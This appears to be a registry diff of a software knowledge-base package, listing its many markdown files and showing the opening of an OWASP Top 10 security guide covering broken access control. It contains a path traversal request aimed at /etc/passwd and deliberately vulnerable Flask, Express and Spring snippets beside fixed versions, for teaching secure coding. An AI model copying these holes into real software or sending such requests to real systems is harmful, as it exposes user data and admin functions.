@umacloud/knowledge 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/00-governance/governance-capabilities.md +557 -0
- package/00-governance/knowledge-map.md +39 -0
- package/00-governance/maintenance-policy.md +76 -0
- package/00-governance/review-checklist.md +81 -0
- package/README.md +13 -0
- package/ai/01-standards/agent-development-complete.md +691 -0
- package/ai/01-standards/llm-application-complete.md +488 -0
- package/ai/01-standards/mlops-complete.md +798 -0
- package/ai/01-standards/prompt-engineering-complete.md +646 -0
- package/ai/01-standards/rag-architecture-complete.md +649 -0
- package/ai/02-playbooks/llm-evaluation-playbook.md +847 -0
- package/ai/03-checklists/ai-project-checklist.md +215 -0
- package/ai/04-antipatterns/ai-antipatterns.md +661 -0
- package/ai/05-cases/case-rag-production.md +147 -0
- package/ai/06-glossary/ai-glossary.md +162 -0
- package/ai/agent-evaluation-benchmark.md +53 -0
- package/ai/ai-agent-memory-context-management.md +41 -0
- package/ai/ai-cost-capacity-optimization-playbook.md +42 -0
- package/ai/ai-data-security-and-compliance-playbook.md +37 -0
- package/ai/ai-domain-index-and-checklist.md +40 -0
- package/ai/ai-governance-maturity-model.md +50 -0
- package/ai/ai-model-selection-and-routing-strategy.md +47 -0
- package/ai/ai-observability-and-oncall-runbook.md +52 -0
- package/ai/ai-rag-engineering-playbook.md +42 -0
- package/ai/ai-red-team-and-safety-evaluation.md +42 -0
- package/ai/ai-release-readiness-and-rollback-gate.md +42 -0
- package/ai/llm-agent-engineering-deep-dive.md +57 -0
- package/ai/prompt-and-tool-guardrails.md +52 -0
- package/api/01-standards/enterprise-api-standards.md +198 -0
- package/api/01-standards/rest-api-design-guide.md +63 -0
- package/api/02-playbooks/api-pagination-playbook.md +93 -0
- package/api/02-playbooks/graphql-production-playbook.md +176 -0
- package/api/03-checklists/api-review-checklist.md +55 -0
- package/api/04-antipatterns/api-antipatterns.md +112 -0
- package/architecture/01-standards/api-gateway-patterns.md +496 -0
- package/architecture/01-standards/cloud-native-patterns.md +644 -0
- package/architecture/01-standards/distributed-systems-patterns.md +591 -0
- package/architecture/01-standards/event-driven-architecture.md +595 -0
- package/architecture/01-standards/microservices-patterns-complete.md +968 -0
- package/architecture/01-standards/microservices-patterns.md +495 -0
- package/architecture/01-standards/system-design-interview.md +664 -0
- package/architecture/02-playbooks/microservices-patterns-playbook.md +137 -0
- package/architecture/02-playbooks/migration-playbook.md +780 -0
- package/architecture/02-playbooks/system-design-playbook.md +779 -0
- package/architecture/03-checklists/architecture-decision-checklist.md +297 -0
- package/architecture/04-antipatterns/architecture-antipatterns.md +417 -0
- package/architecture/05-cases/case-netflix-microservices.md +413 -0
- package/architecture/06-glossary/architecture-glossary.md +164 -0
- package/architecture/adr-template-and-examples.md +38 -0
- package/architecture/api-gateway-deep-dive.md +1291 -0
- package/architecture/configuration-management.md +1162 -0
- package/architecture/distributed-transactions.md +1220 -0
- package/architecture/microservices-complete.md +735 -0
- package/architecture/resilience-and-disaster-patterns.md +37 -0
- package/architecture/service-governance.md +1198 -0
- package/architecture/system-architecture-deep-dive.md +37 -0
- package/backend/01-standards/analytics-and-growth.md +65 -0
- package/backend/01-standards/api-and-error-conventions.md +120 -0
- package/backend/01-standards/application-layering-and-packaging.md +160 -0
- package/backend/01-standards/auth-implementation.md +104 -0
- package/backend/01-standards/backend-framework-idioms.md +74 -0
- package/backend/01-standards/background-jobs-and-async.md +66 -0
- package/backend/01-standards/caching-strategies-complete.md +390 -0
- package/backend/01-standards/config-and-observability.md +77 -0
- package/backend/01-standards/data-modeling-and-persistence.md +94 -0
- package/backend/01-standards/django-complete.md +1765 -0
- package/backend/01-standards/email-and-notifications.md +64 -0
- package/backend/01-standards/fastapi-complete.md +925 -0
- package/backend/01-standards/file-upload-and-storage.md +66 -0
- package/backend/01-standards/graphql-api-complete.md +416 -0
- package/backend/01-standards/llm-application-standard.md +78 -0
- package/backend/01-standards/message-queue-patterns.md +379 -0
- package/backend/01-standards/microservices-and-distributed.md +78 -0
- package/backend/01-standards/nestjs-complete.md +2167 -0
- package/backend/01-standards/payment-integration.md +80 -0
- package/backend/01-standards/rate-limiting-complete.md +451 -0
- package/backend/01-standards/realtime-and-websocket.md +65 -0
- package/backend/01-standards/search-and-filtering.md +64 -0
- package/backend/01-standards/spring-boot-complete.md +445 -0
- package/backend/02-playbooks/api-design-playbook.md +718 -0
- package/backend/02-playbooks/email-send-playbook.md +130 -0
- package/backend/02-playbooks/file-upload-s3-playbook.md +153 -0
- package/backend/02-playbooks/typescript-enterprise-playbook.md +133 -0
- package/backend/02-playbooks/websocket-realtime-playbook.md +154 -0
- package/backend/03-checklists/api-launch-checklist.md +189 -0
- package/backend/04-antipatterns/backend-antipatterns.md +1051 -0
- package/blockchain/01-standards/blockchain-basics.md +557 -0
- package/blockchain/01-standards/smart-contract-development.md +1315 -0
- package/cicd/01-standards/deployment-and-delivery-standard.md +96 -0
- package/cicd/01-standards/github-actions-complete.md +473 -0
- package/cicd/01-standards/release-and-store-submission.md +75 -0
- package/cicd/02-playbooks/cicd-pipeline-playbook.md +144 -0
- package/cicd/02-playbooks/release-management-playbook.md +605 -0
- package/cicd/03-checklists/pipeline-security-checklist.md +168 -0
- package/cicd/04-antipatterns/cicd-antipatterns.md +589 -0
- package/cicd/05-cases/case-deployment-automation.md +221 -0
- package/cicd/05-cases/case-gitops-transformation.md +212 -0
- package/cicd/06-glossary/cicd-glossary.md +114 -0
- package/cicd/cicd-blueprint-deep-dive.md +38 -0
- package/cicd/release-readiness-gate.md +37 -0
- package/cloud-native/01-standards/container-security.md +741 -0
- package/cloud-native/01-standards/kubernetes-complete.md +812 -0
- package/cloud-native/02-playbooks/api-gateway-playbook.md +155 -0
- package/cloud-native/02-playbooks/gitops-with-argocd.md +760 -0
- package/cloud-native/02-playbooks/k8s-troubleshooting-playbook.md +1942 -0
- package/cloud-native/02-playbooks/message-queue-playbook.md +129 -0
- package/cloud-native/02-playbooks/multicloud-governance.md +726 -0
- package/cloud-native/02-playbooks/serverless-patterns.md +788 -0
- package/cloud-native/02-playbooks/service-mesh-playbook.md +612 -0
- package/cloud-native/02-playbooks/terraform-iac-playbook.md +143 -0
- package/cloud-native/03-checklists/container-security-checklist.md +431 -0
- package/cloud-native/03-checklists/k8s-production-readiness-checklist.md +460 -0
- package/cloud-native/04-antipatterns/container-antipatterns.md +660 -0
- package/cloud-native/04-antipatterns/k8s-antipatterns.md +743 -0
- package/cloud-native/05-cases/case-k8s-migration.md +478 -0
- package/cloud-native/05-cases/case-k8s-scaling.md +642 -0
- package/cloud-native/05-cases/case-k8s-security-incident.md +397 -0
- package/cloud-native/06-glossary/cloud-native-glossary.md +337 -0
- package/cross-platform/01-standards/cross-platform-frameworks.md +83 -0
- package/cross-platform/01-standards/platform-selection-and-architecture.md +77 -0
- package/data/01-standards/elasticsearch-complete.md +2098 -0
- package/data/01-standards/postgresql-complete.md +1613 -0
- package/data/01-standards/redis-complete.md +1527 -0
- package/data/02-playbooks/database-optimization-playbook.md +403 -0
- package/data/02-playbooks/elasticsearch-production-playbook.md +132 -0
- package/data/03-checklists/database-launch-checklist.md +187 -0
- package/data/04-antipatterns/database-antipatterns.md +873 -0
- package/data/05-cases/case-database-migration.md +310 -0
- package/data/06-glossary/database-glossary.md +440 -0
- package/data/data-governance-and-modeling-deep-dive.md +39 -0
- package/data-engineering/01-standards/airflow-complete.md +523 -0
- package/data-engineering/01-standards/kafka-complete.md +1521 -0
- package/data-engineering/02-playbooks/spark-etl-playbook.md +496 -0
- package/data-engineering/03-checklists/pipeline-launch-checklist.md +194 -0
- package/data-engineering/04-antipatterns/data-pipeline-antipatterns.md +684 -0
- package/data-engineering/05-cases/case-real-time-pipeline.md +355 -0
- package/data-engineering/06-glossary/data-engineering-glossary.md +429 -0
- package/database/01-standards/database-schema-standards.md +147 -0
- package/database/02-playbooks/postgresql-optimization-quick.md +52 -0
- package/database/02-playbooks/postgresql-performance-optimization.md +58 -0
- package/database/02-playbooks/postgresql-production-playbook.md +146 -0
- package/database/02-playbooks/redis-caching-playbook.md +117 -0
- package/database/03-checklists/database-review-checklist.md +50 -0
- package/database/04-antipatterns/database-antipatterns.md +112 -0
- package/design/01-standards/ui-design-system-complete.md +423 -0
- package/design/02-playbooks/design-handoff-playbook.md +254 -0
- package/design/02-playbooks/design-review-playbook.md +388 -0
- package/design/03-checklists/design-review-checklist.md +246 -0
- package/design/04-antipatterns/design-antipatterns.md +378 -0
- package/design/05-cases/case-design-system-adoption.md +328 -0
- package/design/06-glossary/design-glossary.md +329 -0
- package/design/ui-full-lifecycle-cross-platform-playbook.md +571 -0
- package/design/ux-system-deep-dive.md +38 -0
- package/design-systems/00-craft-rules.md +71 -0
- package/design-systems/aesthetic-families.md +43 -0
- package/design-systems/anti-ai-slop.md +162 -0
- package/design-systems/bold-geometric.md +120 -0
- package/design-systems/brutalist-bold.md +103 -0
- package/design-systems/editorial-clean.md +109 -0
- package/design-systems/glass-aurora.md +108 -0
- package/design-systems/modern-minimal.md +145 -0
- package/design-systems/premium-luxury.md +106 -0
- package/design-systems/product-type-design-map.md +48 -0
- package/design-systems/soft-warm.md +123 -0
- package/design-systems/tech-utility.md +113 -0
- package/desktop/01-standards/desktop-app-standard.md +72 -0
- package/desktop/01-standards/desktop-design.md +71 -0
- package/development/00-governance/document-template.md +41 -0
- package/development/01-standards/api-versioning-strategies.md +432 -0
- package/development/01-standards/authentication-patterns-complete.md +479 -0
- package/development/01-standards/css-architecture-complete.md +550 -0
- package/development/01-standards/database-migration-strategies.md +484 -0
- package/development/01-standards/elasticsearch-complete.md +347 -0
- package/development/01-standards/git-complete.md +371 -0
- package/development/01-standards/golang-complete.md +1565 -0
- package/development/01-standards/graphql-complete.md +298 -0
- package/development/01-standards/javascript-bundlers-complete.md +469 -0
- package/development/01-standards/javascript-typescript-complete.md +528 -0
- package/development/01-standards/jest-complete.md +275 -0
- package/development/01-standards/linux-complete.md +234 -0
- package/development/01-standards/logging-observability-complete.md +526 -0
- package/development/01-standards/microservices-communication.md +502 -0
- package/development/01-standards/mongodb-complete.md +406 -0
- package/development/01-standards/oauth2-complete.md +285 -0
- package/development/01-standards/performance-optimization-complete.md +289 -0
- package/development/01-standards/playwright-complete.md +247 -0
- package/development/01-standards/postgresql-complete.md +456 -0
- package/development/01-standards/pytest-complete.md +340 -0
- package/development/01-standards/python-async-programming.md +902 -0
- package/development/01-standards/python-complete.md +956 -0
- package/development/01-standards/python-decorators-complete.md +799 -0
- package/development/01-standards/python-design-patterns.md +2854 -0
- package/development/01-standards/python-packaging-distribution.md +420 -0
- package/development/01-standards/python-testing-strategies.md +607 -0
- package/development/01-standards/python-web-frameworks-comparison.md +471 -0
- package/development/01-standards/redis-complete.md +317 -0
- package/development/01-standards/rest-api-complete.md +316 -0
- package/development/01-standards/rust-complete.md +578 -0
- package/development/01-standards/typescript-advanced-types.md +1513 -0
- package/development/01-standards/web-security-complete.md +292 -0
- package/development/02-playbooks/api-design-playbook.md +810 -0
- package/development/02-playbooks/database-migration-playbook.md +580 -0
- package/development/02-playbooks/debugging-playbook.md +692 -0
- package/development/02-playbooks/feature-delivery-playbook.md +430 -0
- package/development/02-playbooks/incident-hotfix-playbook.md +387 -0
- package/development/02-playbooks/performance-optimization-playbook.md +531 -0
- package/development/02-playbooks/performance-tuning-playbook.md +652 -0
- package/development/02-playbooks/refactor-playbook.md +403 -0
- package/development/02-playbooks/release-playbook.md +469 -0
- package/development/03-checklists/architecture-review-checklist.md +168 -0
- package/development/03-checklists/data-migration-checklist.md +157 -0
- package/development/03-checklists/oncall-handover-checklist.md +173 -0
- package/development/03-checklists/pr-checklist.md +158 -0
- package/development/03-checklists/production-readiness-checklist.md +190 -0
- package/development/03-checklists/release-readiness-checklist.md +154 -0
- package/development/03-checklists/security-review-checklist.md +182 -0
- package/development/04-antipatterns/api-antipatterns.md +657 -0
- package/development/04-antipatterns/architecture-antipatterns.md +686 -0
- package/development/04-antipatterns/backend-antipatterns.md +648 -0
- package/development/04-antipatterns/cicd-antipatterns.md +540 -0
- package/development/04-antipatterns/code-smell-antipatterns.md +571 -0
- package/development/04-antipatterns/data-antipatterns.md +658 -0
- package/development/04-antipatterns/database-antipatterns.md +578 -0
- package/development/04-antipatterns/frontend-antipatterns.md +635 -0
- package/development/04-antipatterns/reliability-antipatterns.md +700 -0
- package/development/04-antipatterns/security-antipatterns.md +747 -0
- package/development/05-cases/case-api-version-migration.md +428 -0
- package/development/05-cases/case-authorization-hardening.md +383 -0
- package/development/05-cases/case-bluegreen-rollback.md +466 -0
- package/development/05-cases/case-cache-snowball-protection.md +485 -0
- package/development/05-cases/case-ci-cd-pipeline.md +544 -0
- package/development/05-cases/case-database-scaling.md +500 -0
- package/development/05-cases/case-db-hotspot-optimization.md +487 -0
- package/development/05-cases/case-incident-mttr-reduction.md +563 -0
- package/development/05-cases/case-microservice-migration.md +375 -0
- package/development/05-cases/case-performance-optimization.md +406 -0
- package/development/05-cases/case-security-incident-response.md +345 -0
- package/development/06-glossary/full-stack-glossary.md +166 -0
- package/development/09-maturity/quarterly-audit-template.md +35 -0
- package/development/11-ui-excellence/ui-aesthetic-system.md +41 -0
- package/development/11-ui-excellence/ui-engineering-excellence.md +435 -0
- package/development/12-scenarios/development-scenarios-guide.md +565 -0
- package/development/13-implementation-assets/implementation-toolkit.md +282 -0
- package/development/13-implementation-assets/knowledge-gates-execution.md +43 -0
- package/development/14-full-lifecycle/software-lifecycle-gates.md +511 -0
- package/development/15-lifecycle-templates/project-templates-collection.md +791 -0
- package/development/api-contract-and-versioning-guide.md +36 -0
- package/development/api-governance-complete.md +43 -0
- package/development/backend-engineering-complete.md +43 -0
- package/development/code-review-quality-complete.md +43 -0
- package/development/concurrency-reliability-complete.md +43 -0
- package/development/database-engineering-complete.md +43 -0
- package/development/engineering-effectiveness-complete.md +43 -0
- package/development/engineering-standards-deep-dive.md +38 -0
- package/development/frontend-engineering-complete.md +43 -0
- package/development/performance-capacity-complete.md +43 -0
- package/development/refactor-migration-complete.md +42 -0
- package/development/refactoring-and-techdebt-playbook.md +37 -0
- package/development/security-in-development-complete.md +43 -0
- package/devops/01-standards/cicd-pipeline-complete.md +262 -0
- package/devops/01-standards/docker-complete.md +1490 -0
- package/devops/01-standards/github-actions-complete.md +337 -0
- package/devops/01-standards/kubernetes-complete.md +638 -0
- package/devops/01-standards/terraform-complete.md +2117 -0
- package/devops/02-playbooks/docker-compose-playbook.md +233 -0
- package/devops/02-playbooks/docker-k8s-production-playbook.md +186 -0
- package/devops/02-playbooks/docker-production-playbook.md +952 -0
- package/edge-iot/01-standards/edge-iot-complete.md +473 -0
- package/experts/architect/api-design.md +178 -0
- package/experts/architect/methodology.md +124 -0
- package/experts/architect/security.md +75 -0
- package/experts/backend-lead/methodology.md +216 -0
- package/experts/devops/methodology.md +160 -0
- package/experts/frontend-lead/methodology.md +178 -0
- package/experts/product-manager/industry/ecommerce.md +43 -0
- package/experts/product-manager/industry/saas.md +40 -0
- package/experts/product-manager/methodology.md +97 -0
- package/experts/qa-lead/methodology.md +123 -0
- package/experts/qa-lead/test-strategy.md +128 -0
- package/experts/uiux-designer/methodology.md +125 -0
- package/frontend/01-standards/accessibility-complete.md +532 -0
- package/frontend/01-standards/accessibility-standard.md +74 -0
- package/frontend/01-standards/admin-dashboard-and-crud.md +72 -0
- package/frontend/01-standards/design-tokens-complete.md +444 -0
- package/frontend/01-standards/forms-and-validation.md +77 -0
- package/frontend/01-standards/frontend-architecture-and-layering.md +119 -0
- package/frontend/01-standards/i18n-and-localization.md +65 -0
- package/frontend/01-standards/nextjs-complete.md +451 -0
- package/frontend/01-standards/react-complete.md +713 -0
- package/frontend/01-standards/react-hooks-complete-guide.md +1100 -0
- package/frontend/01-standards/react-hooks-complete.md +1171 -0
- package/frontend/01-standards/seo-and-web-vitals.md +77 -0
- package/frontend/01-standards/state-management-complete.md +444 -0
- package/frontend/01-standards/vue-complete.md +499 -0
- package/frontend/01-standards/vue3-complete.md +2002 -0
- package/frontend/01-standards/web-framework-best-practices.md +64 -0
- package/frontend/01-standards/web-performance-complete.md +495 -0
- package/frontend/02-playbooks/accessibility-a11y-playbook.md +161 -0
- package/frontend/02-playbooks/frontend-performance-playbook.md +707 -0
- package/frontend/02-playbooks/i18n-internationalization-playbook.md +120 -0
- package/frontend/02-playbooks/performance-optimization-playbook.md +163 -0
- package/frontend/02-playbooks/react-nextjs-production-playbook.md +167 -0
- package/frontend/02-playbooks/react-state-management-playbook.md +173 -0
- package/frontend/03-checklists/component-quality-checklist.md +166 -0
- package/frontend/03-checklists/frontend-launch-checklist.md +299 -0
- package/frontend/04-antipatterns/frontend-antipatterns.md +886 -0
- package/frontend/05-cases/case-performance-optimization.md +274 -0
- package/harmony/01-standards/harmonyos-arkts-standard.md +75 -0
- package/harmony/01-standards/harmonyos-design.md +65 -0
- package/high-quality-engineering-playbook.md +54 -0
- package/incident/01-standards/incident-response-complete.md +303 -0
- package/incident/02-playbooks/chaos-engineering-playbook.md +883 -0
- package/incident/02-playbooks/postmortem-playbook.md +398 -0
- package/incident/03-checklists/incident-readiness-checklist.md +181 -0
- package/incident/04-antipatterns/incident-antipatterns.md +490 -0
- package/incident/05-cases/case-cascade-failure.md +176 -0
- package/incident/06-glossary/incident-glossary.md +114 -0
- package/incident/postmortem-and-response-deep-dive.md +39 -0
- package/industries/ecommerce/ecommerce-complete.md +631 -0
- package/industries/education/education-complete.md +555 -0
- package/industries/fintech/fintech-complete.md +501 -0
- package/industries/gaming/gaming-complete.md +587 -0
- package/industries/healthcare/healthcare-complete.md +452 -0
- package/low-code/01-standards/low-code-complete.md +944 -0
- package/miniprogram/01-standards/ai-common-mistakes.md +61 -0
- package/miniprogram/01-standards/miniprogram-custom-navbar-capsule.md +77 -0
- package/miniprogram/01-standards/miniprogram-design.md +61 -0
- package/miniprogram/01-standards/miniprogram-standard.md +81 -0
- package/mobile/01-standards/android-material-design.md +70 -0
- package/mobile/01-standards/flutter-complete.md +384 -0
- package/mobile/01-standards/ios-design-hig.md +78 -0
- package/mobile/01-standards/mobile-app-standard.md +85 -0
- package/mobile/01-standards/react-native-complete.md +352 -0
- package/mobile/02-playbooks/mobile-cross-platform-playbook.md +175 -0
- package/mobile/02-playbooks/mobile-performance.md +473 -0
- package/mobile/03-checklists/mobile-release-checklist.md +234 -0
- package/mobile/04-antipatterns/mobile-antipatterns.md +798 -0
- package/mobile/05-cases/case-app-performance.md +500 -0
- package/mobile/05-cases/case-app-startup-optimization.md +218 -0
- package/mobile/06-glossary/mobile-glossary.md +484 -0
- package/observability/01-standards/observability-standards.md +103 -0
- package/observability/02-playbooks/prometheus-grafana-playbook.md +135 -0
- package/observability/02-playbooks/structured-logging-playbook.md +73 -0
- package/observability/03-checklists/observability-checklist.md +54 -0
- package/observability/04-antipatterns/observability-antipatterns.md +106 -0
- package/operations/01-standards/prometheus-monitoring-complete.md +1578 -0
- package/operations/02-playbooks/capacity-planning-playbook.md +620 -0
- package/operations/03-checklists/production-launch-checklist.md +365 -0
- package/operations/04-antipatterns/operations-antipatterns.md +664 -0
- package/operations/05-cases/case-sre-practices.md +581 -0
- package/operations/06-glossary/operations-glossary.md +120 -0
- package/operations/aiops-anomaly-detection.md +758 -0
- package/operations/capacity-planning.md +1061 -0
- package/operations/chaos-engineering.md +659 -0
- package/operations/incident-command-system.md +38 -0
- package/operations/observability-complete.md +442 -0
- package/operations/slo-sli-playbook.md +517 -0
- package/operations/sre-operations-deep-dive.md +39 -0
- package/package.json +8 -0
- package/performance/01-standards/performance-and-scalability.md +80 -0
- package/performance/01-standards/performance-standards.md +156 -0
- package/performance/02-playbooks/query-optimization-playbook.md +103 -0
- package/performance/03-checklists/performance-checklist.md +56 -0
- package/performance/04-antipatterns/performance-antipatterns.md +146 -0
- package/product/01-standards/product-management-complete.md +285 -0
- package/product/02-playbooks/feature-launch-playbook.md +207 -0
- package/product/02-playbooks/user-research-playbook.md +532 -0
- package/product/03-checklists/feature-launch-checklist.md +275 -0
- package/product/04-antipatterns/product-antipatterns.md +355 -0
- package/product/05-cases/case-mvp-to-scale.md +384 -0
- package/product/06-glossary/product-glossary.md +462 -0
- package/product/feature-prioritization-framework.md +40 -0
- package/product/kpi-and-metric-tree.md +37 -0
- package/product/product-discovery-and-prd-deep-dive.md +41 -0
- package/quantum/01-standards/quantum-complete.md +1186 -0
- package/security/01-standards/api-security-complete.md +511 -0
- package/security/01-standards/container-runtime-security.md +574 -0
- package/security/01-standards/data-protection-gdpr.md +543 -0
- package/security/01-standards/owasp-top10-complete.md +1890 -0
- package/security/01-standards/secure-coding-baseline.md +90 -0
- package/security/01-standards/supply-chain-security.md +441 -0
- package/security/01-standards/web-security-checklist.md +108 -0
- package/security/01-standards/zero-trust-architecture.md +521 -0
- package/security/02-playbooks/auth-sso-playbook.md +166 -0
- package/security/02-playbooks/incident-response-security-playbook.md +588 -0
- package/security/02-playbooks/owasp-api-security-playbook.md +129 -0
- package/security/02-playbooks/payment-integration-playbook.md +119 -0
- package/security/02-playbooks/penetration-testing-playbook.md +517 -0
- package/security/03-checklists/security-audit-checklist.md +356 -0
- package/security/04-antipatterns/security-coding-antipatterns.md +580 -0
- package/security/05-cases/case-log4shell-incident.md +537 -0
- package/security/05-cases/case-major-breaches.md +468 -0
- package/security/06-glossary/security-glossary.md +212 -0
- package/security/compliance-automation.md +993 -0
- package/security/container-security.md +680 -0
- package/security/devsecops-complete.md +426 -0
- package/security/sast-dast-sca.md +775 -0
- package/security/secrets-management.md +594 -0
- package/security/security-architecture-deep-dive.md +37 -0
- package/security/threat-modeling-stride-playbook.md +40 -0
- package/seed-templates/auth-system.md +59 -0
- package/seed-templates/blog-content.md +94 -0
- package/seed-templates/dashboard.md +89 -0
- package/seed-templates/docs-site.md +73 -0
- package/seed-templates/e-commerce.md +50 -0
- package/seed-templates/saas-landing.md +92 -0
- package/seed-templates/settings-page.md +51 -0
- package/testing/01-standards/test-strategy-and-layering.md +83 -0
- package/testing/01-standards/testing-strategy-complete.md +422 -0
- package/testing/01-standards/unit-testing-best-practices.md +118 -0
- package/testing/02-playbooks/e2e-testing-playbook.md +988 -0
- package/testing/02-playbooks/testing-strategy-playbook.md +126 -0
- package/testing/03-checklists/test-strategy-checklist.md +208 -0
- package/testing/04-antipatterns/testing-antipatterns.md +718 -0
- package/testing/05-cases/case-testing-transformation.md +300 -0
- package/testing/06-glossary/testing-glossary.md +110 -0
- package/testing/risk-based-test-matrix.md +36 -0
- package/testing/testing-strategy-deep-dive.md +37 -0
|
@@ -0,0 +1,1890 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: owasp-top10-complete
|
|
3
|
+
title: OWASP Top 10 (2021) Complete Security Standards
|
|
4
|
+
domain: security
|
|
5
|
+
category: 01-standards
|
|
6
|
+
difficulty: intermediate
|
|
7
|
+
tags: [access, broken, complete, contents, control, cryptographic, failures, injection]
|
|
8
|
+
quality_score: 70
|
|
9
|
+
last_updated: 2026-06-15
|
|
10
|
+
---
|
|
11
|
+
# OWASP Top 10 (2021) Complete Security Standards
|
|
12
|
+
|
|
13
|
+
> **Version**: v1.0
|
|
14
|
+
> **Last Updated**: 2026-03-28
|
|
15
|
+
> **Scope**: Web application security - all 10 categories with attack scenarios, code examples, defense strategies, and detection tools
|
|
16
|
+
> **Languages Covered**: Python, JavaScript, Java
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Table of Contents
|
|
21
|
+
|
|
22
|
+
1. [A01:2021 Broken Access Control](#a012021-broken-access-control)
|
|
23
|
+
2. [A02:2021 Cryptographic Failures](#a022021-cryptographic-failures)
|
|
24
|
+
3. [A03:2021 Injection](#a032021-injection)
|
|
25
|
+
4. [A04:2021 Insecure Design](#a042021-insecure-design)
|
|
26
|
+
5. [A05:2021 Security Misconfiguration](#a052021-security-misconfiguration)
|
|
27
|
+
6. [A06:2021 Vulnerable and Outdated Components](#a062021-vulnerable-and-outdated-components)
|
|
28
|
+
7. [A07:2021 Identification and Authentication Failures](#a072021-identification-and-authentication-failures)
|
|
29
|
+
8. [A08:2021 Software and Data Integrity Failures](#a082021-software-and-data-integrity-failures)
|
|
30
|
+
9. [A09:2021 Security Logging and Monitoring Failures](#a092021-security-logging-and-monitoring-failures)
|
|
31
|
+
10. [A10:2021 Server-Side Request Forgery (SSRF)](#a102021-server-side-request-forgery-ssrf)
|
|
32
|
+
11. [Agent Security Checklist](#agent-security-checklist)
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## A01:2021 Broken Access Control
|
|
37
|
+
|
|
38
|
+
### Description
|
|
39
|
+
|
|
40
|
+
Broken Access Control moved up from #5 to the most critical web application security risk. It occurs when users can act outside their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of data, or performing business functions outside the user's limits.
|
|
41
|
+
|
|
42
|
+
Common access control vulnerabilities include:
|
|
43
|
+
- Bypassing access control checks by modifying the URL, internal application state, or HTML page
|
|
44
|
+
- Allowing the primary key to be changed to another user's record (IDOR)
|
|
45
|
+
- Elevation of privilege (acting as a user without being logged in, or acting as admin when logged in as a regular user)
|
|
46
|
+
- Metadata manipulation such as replaying or tampering with JWT tokens, cookies, or hidden fields
|
|
47
|
+
- CORS misconfiguration allowing access from unauthorized origins
|
|
48
|
+
- Force browsing to authenticated pages as an unauthenticated user
|
|
49
|
+
|
|
50
|
+
### Attack Scenarios
|
|
51
|
+
|
|
52
|
+
**Scenario 1: Insecure Direct Object Reference (IDOR)**
|
|
53
|
+
An attacker modifies a URL parameter to access another user's account data:
|
|
54
|
+
```
|
|
55
|
+
GET /api/users/1234/profile -> GET /api/users/5678/profile
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
**Scenario 2: Path Traversal**
|
|
59
|
+
An attacker manipulates file path parameters to access restricted resources:
|
|
60
|
+
```
|
|
61
|
+
GET /api/files?path=../../../etc/passwd
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
**Scenario 3: Missing Function-Level Access Control**
|
|
65
|
+
A regular user accesses admin endpoints directly:
|
|
66
|
+
```
|
|
67
|
+
POST /api/admin/users/delete
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### Vulnerable Code Examples
|
|
71
|
+
|
|
72
|
+
**Python (Flask) - IDOR Vulnerability:**
|
|
73
|
+
```python
|
|
74
|
+
# VULNERABLE: No authorization check on resource ownership
|
|
75
|
+
@app.route('/api/orders/<int:order_id>')
|
|
76
|
+
def get_order(order_id):
|
|
77
|
+
order = Order.query.get(order_id)
|
|
78
|
+
if not order:
|
|
79
|
+
return jsonify({"error": "Not found"}), 404
|
|
80
|
+
return jsonify(order.to_dict()) # Any user can access any order
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
**JavaScript (Express) - Missing Role Check:**
|
|
84
|
+
```javascript
|
|
85
|
+
// VULNERABLE: No role verification for admin operations
|
|
86
|
+
app.delete('/api/users/:id', authenticate, async (req, res) => {
|
|
87
|
+
await User.findByIdAndDelete(req.params.id);
|
|
88
|
+
res.json({ message: 'User deleted' });
|
|
89
|
+
});
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
**Java (Spring) - Privilege Escalation:**
|
|
93
|
+
```java
|
|
94
|
+
// VULNERABLE: No authorization annotation, any authenticated user can access
|
|
95
|
+
@RestController
|
|
96
|
+
@RequestMapping("/api/admin")
|
|
97
|
+
public class AdminController {
|
|
98
|
+
@PostMapping("/settings")
|
|
99
|
+
public ResponseEntity<?> updateSettings(@RequestBody Settings settings) {
|
|
100
|
+
settingsService.update(settings);
|
|
101
|
+
return ResponseEntity.ok().build();
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
### Fixed Code Examples
|
|
107
|
+
|
|
108
|
+
**Python (Flask) - Proper Ownership Check:**
|
|
109
|
+
```python
|
|
110
|
+
# FIXED: Verify resource ownership before returning data
|
|
111
|
+
@app.route('/api/orders/<int:order_id>')
|
|
112
|
+
@login_required
|
|
113
|
+
def get_order(order_id):
|
|
114
|
+
order = Order.query.get(order_id)
|
|
115
|
+
if not order:
|
|
116
|
+
return jsonify({"error": "Not found"}), 404
|
|
117
|
+
if order.user_id != current_user.id and not current_user.is_admin:
|
|
118
|
+
return jsonify({"error": "Forbidden"}), 403
|
|
119
|
+
return jsonify(order.to_dict())
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
**JavaScript (Express) - Role-Based Access Control:**
|
|
123
|
+
```javascript
|
|
124
|
+
// FIXED: Middleware enforces admin role requirement
|
|
125
|
+
const requireAdmin = (req, res, next) => {
|
|
126
|
+
if (!req.user || req.user.role !== 'admin') {
|
|
127
|
+
return res.status(403).json({ error: 'Forbidden' });
|
|
128
|
+
}
|
|
129
|
+
next();
|
|
130
|
+
};
|
|
131
|
+
|
|
132
|
+
app.delete('/api/users/:id', authenticate, requireAdmin, async (req, res) => {
|
|
133
|
+
await User.findByIdAndDelete(req.params.id);
|
|
134
|
+
res.json({ message: 'User deleted' });
|
|
135
|
+
});
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
**Java (Spring) - Proper Authorization:**
|
|
139
|
+
```java
|
|
140
|
+
// FIXED: Role-based access control with Spring Security annotation
|
|
141
|
+
@RestController
|
|
142
|
+
@RequestMapping("/api/admin")
|
|
143
|
+
@PreAuthorize("hasRole('ADMIN')")
|
|
144
|
+
public class AdminController {
|
|
145
|
+
@PostMapping("/settings")
|
|
146
|
+
public ResponseEntity<?> updateSettings(@RequestBody Settings settings) {
|
|
147
|
+
